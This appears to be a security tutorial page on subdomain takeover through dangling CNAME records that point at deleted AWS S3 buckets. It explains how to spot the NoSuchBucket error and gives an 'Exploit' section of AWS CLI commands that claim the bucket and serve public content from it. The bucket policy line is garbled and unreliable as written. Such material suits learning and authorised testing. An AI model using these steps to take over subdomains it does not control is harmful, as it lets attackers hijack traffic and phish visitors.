Subdomain Takeovers

Compromise a subdomain by taking over resources no longer existing

What is a Subdomain Takeover?

• Subdomains e.g., projects.mywebsite.com have DNS records that can point to resources like servers or AWS S3 buckets

• When the resource is deleted but the DNS record remains, an attacker can create a new resource with the same name, redirecting traffic to the attacker's

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S3 Bucket

• S3 buckets can host static websites and leverage a domain name by having an associated CNAME record configured. This allows you to go to mywebsite.com instead of https://mywebsite.s3.amazonaws.com. However, if the bucket is deleted but the CNAME still exists, an attacker can create a new bucket and website, effectively routing any traffic to the attacker's website.

• This vulnerability can be discovered while navigating to a domain and receiving a 404 error along with the code NoSuchBucket. The examples below show a bucket without a CNAME record but the same error messages would show regardless.

Error message shown in web browser of an S3 static website where the bucket has been deleted

Error message shown in a terminal of an S3 static website where the bucket has been deleted

Exploit

# create an s3 bucket
aws s3api create-bucket --bucket <bucketName> --region <region>

# configures the bucket to host a website
aws s3 website s3://<bucketName> --index-document index.html --error-document error.html

# copy website files to s3
aws s3 cp index.html error.html s3://<bucketName> 

# set the bucket to public
aws s3api put-public-access-block --bucket <bucketName> --public-access-block-configuration "BlockPublicAcls=false,IgnorePublicAcls=false,BlockPublicPolicy=false,RestrictPublicBuckets=false"

# add a bucket policy enabling anyone to view the website
aws s3api put-bucket-policy --bucket <bucketName> --policy "{"Version":"2012-10-17","Statement":[{"Sid":"PublicReadGetObject","Effect":"Allow","Principal":"","Action":"s3:GetObject","Resource":"arn:aws:s3:::<bucketName>/"}]}"

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